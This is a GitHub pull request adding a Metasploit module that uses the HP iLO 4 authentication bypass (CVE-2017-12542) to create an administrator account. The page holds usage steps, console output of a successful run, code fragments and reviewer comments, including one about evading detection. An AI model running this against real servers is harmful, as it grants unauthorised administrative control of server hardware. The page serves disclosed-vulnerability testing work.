Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add module for HP iLO CVE-2017-12542 authentication bypass #9529

Merged
merged 3 commits into from Mar 16, 2018
Merged

Add module for HP iLO CVE-2017-12542 authentication bypass #9529

merged 3 commits into from Mar 16, 2018

Conversation

Synacktiv-contrib
Copy link

@Synacktiv-contrib Synacktiv-contrib commented Feb 9, 2018

Add an auxiliary module to insert a new administration account in vulnerable HP iLO4 web interfaces. The module exploits the CVE-2017-12542 for authentication bypass, which is 100% stable when exploited this way.

Verification

  • Start msfconsole
  • use auxiliary/admin/hp/hp_ilo_create_admin_account
  • Set RHOST
  • run check to check if remote host is vulnerable (module tries to list accounts using the REST API)
  • Set USERNAME and PASSWORD to specify a new administrator account credentials
  • run run to actually create the account on the iLO

Example output

msf > use auxiliary/admin/hp/hp_ilo_create_admin_account 
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > info

       Name: HP iLO 4 <= 2.50 Authentication Bypass Administrator Account Creation
     Module: auxiliary/admin/hp/hp_ilo_create_admin_account
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-08-24

Provided by:
  Fabien Perigaud <fabien.perigaud@synacktiv[dot]com>

Basic options:
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD  msf_p4ssw0rd     yes       Password for the new account
  Proxies                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST                      yes       The target address
  RPORT     443              yes       The target port (TCP)
  SSL       true             no        Negotiate SSL/TLS for outgoing connections
  USERNAME  msf_user         yes       Username for the new account
  VHOST                      no        HTTP server virtual host

Description:
  This module exploits an authentication bypass in HP iLO 4 <= 2.50, 
  triggered by a buffer overflow in the Connection HTTP header 
  handling by the web server. Exploiting this vulnerability gives full 
  access to the Rest API, allowing arbitrary accounts creation.

References:
  https://cvedetails.com/cve/CVE-2017-12542/
  http://www.securityfocus.com/bid/100467
  https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us
  https://www.synacktiv.com/posts/exploit/hp-ilo-talk-at-recon-brx-2018.html

msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set RHOST 192.168.42.78
RHOST => 192.168.42.78
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set USERNAME test_user
USERNAME => test_user
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > set PASSWORD test_password
PASSWORD => test_password
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > check
[+] 192.168.42.78:443 The target is vulnerable.
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > run

[*] Trying to create account test_user...
[+] Account test_user/test_password created successfully.
[*] Auxiliary module execution completed
msf auxiliary(admin/hp/hp_ilo_create_admin_account) > 

unless res
print_error("Unknown error while creating the user #{res.code}.")
return
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Accessing res.code when res is nil is doomed to failure.

Also, a nil res is likely due to a failed connection (timeout, no route, host down, etc).

    unless res
      fail_with(Failure::Unknown, 'Connection failed')
    end


if res.code == 200
return Exploit::CheckCode::Vulnerable
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Have you tried this on the patched version?

A HTTP 200 OK response for /rest/v1/AccountService/Accounts would flag the host as vulnerable on any servers for which this path exists and which ignore unusual Connection headers.

Also, seeing as only the HTTP status code is used to confirm the vulnerability, a CheckCode::Appears or CheckCode::Detected would be more accurate than CheckCode::Vulnerable. The latter is typically reserved for when the vulnerability is confirmed via some form of exploitation, as per How to write a check() method.

elsif res.body =~ /UserAlreadyExist/
print_error("The user #{datastore["USERNAME"]} already exists.")
return
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Some style suggestions:

    if res.include? 'InvalidPasswordLength'
      fail_with(Failure::BadConfig, "Password #{datastore["PASSWORD"]} is too short.")
    end

    if res.include? 'UserAlreadyExist'
      fail_with(Failure::BadConfig, "Unable to add login #{datastore["USERNAME"]}, user already exists")
    end

fail_with is preferred over the print_error and return pattern, but not mandatory.

res.include? is preferred over regex for case-insensitive matches, but not mandatory.

print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")
else
print_error("Unknown error while creating the user #{res.code}.")
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Similarly, suggested style changes:

    unless res.code == 201
      fail_with(Failure::UnexpectedReply, "Unknown error while creating the user. Response: #{res.code}")
    end

    print_good("Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.")    

@Synacktiv-contrib
Copy link
Author

Synacktiv-contrib commented Feb 11, 2018 via email

@bcoles
Copy link
Contributor

bcoles commented Feb 11, 2018

Nice work. I gave the module a once over and it looks sane.

Needs module documentation, and a review of the check method.

For documentation, there's a template and a bunch of examples in the documentation/modules directory.

~ P.S. Hi Renaud

@disenchant
Copy link
Contributor

I've tested the module and it worked like a charm. Thanks @synacktiv 👍

@jhart-r7 jhart-r7 added docs and removed needs-docs labels Mar 7, 2018
Copy link
Contributor

@jhart-r7 jhart-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Neat!


**PASSWORD**

The password of the new administrator account. Defaults to msf_password
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This differs from what the module does. The module uses msf_p4ssw0rd

register_options(
[
Opt::RPORT(443),
OptString.new('USERNAME', [true, 'Username for the new account', 'msf_user']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

IMO it might be better to set both this and the password to a random string by default in setup. This will help evade detection.

'Description' => %q{
This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer
overflow in the Connection HTTP header handling by the web server.
Exploiting this vulnerability gives full access to the Rest API, allowing arbitrary
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor, but REST.

- Default Username / Password are now random
- Doc fixed
- REST typo fixed
@busterb busterb self-assigned this Mar 16, 2018
@busterb busterb merged commit e8a227b into rapid7:master Mar 16, 2018
@busterb
Copy link
Member

busterb commented Mar 16, 2018

I added d1722d5 to handle targets that are not actually listening.

@busterb
Copy link
Member

busterb commented Mar 16, 2018

Release Notes

The auxiliary/admin/hp/hp_ilo_create_admin_account module has been added to the framework. It enables you to create a new administrator account on vulnerable HP iLO4 web interfaces through an authentication bypass.

@allrosenthal-r7 allrosenthal-r7 added the rn-enhancement release notes enhancement label Mar 27, 2018
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-enhancement release notes enhancement
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants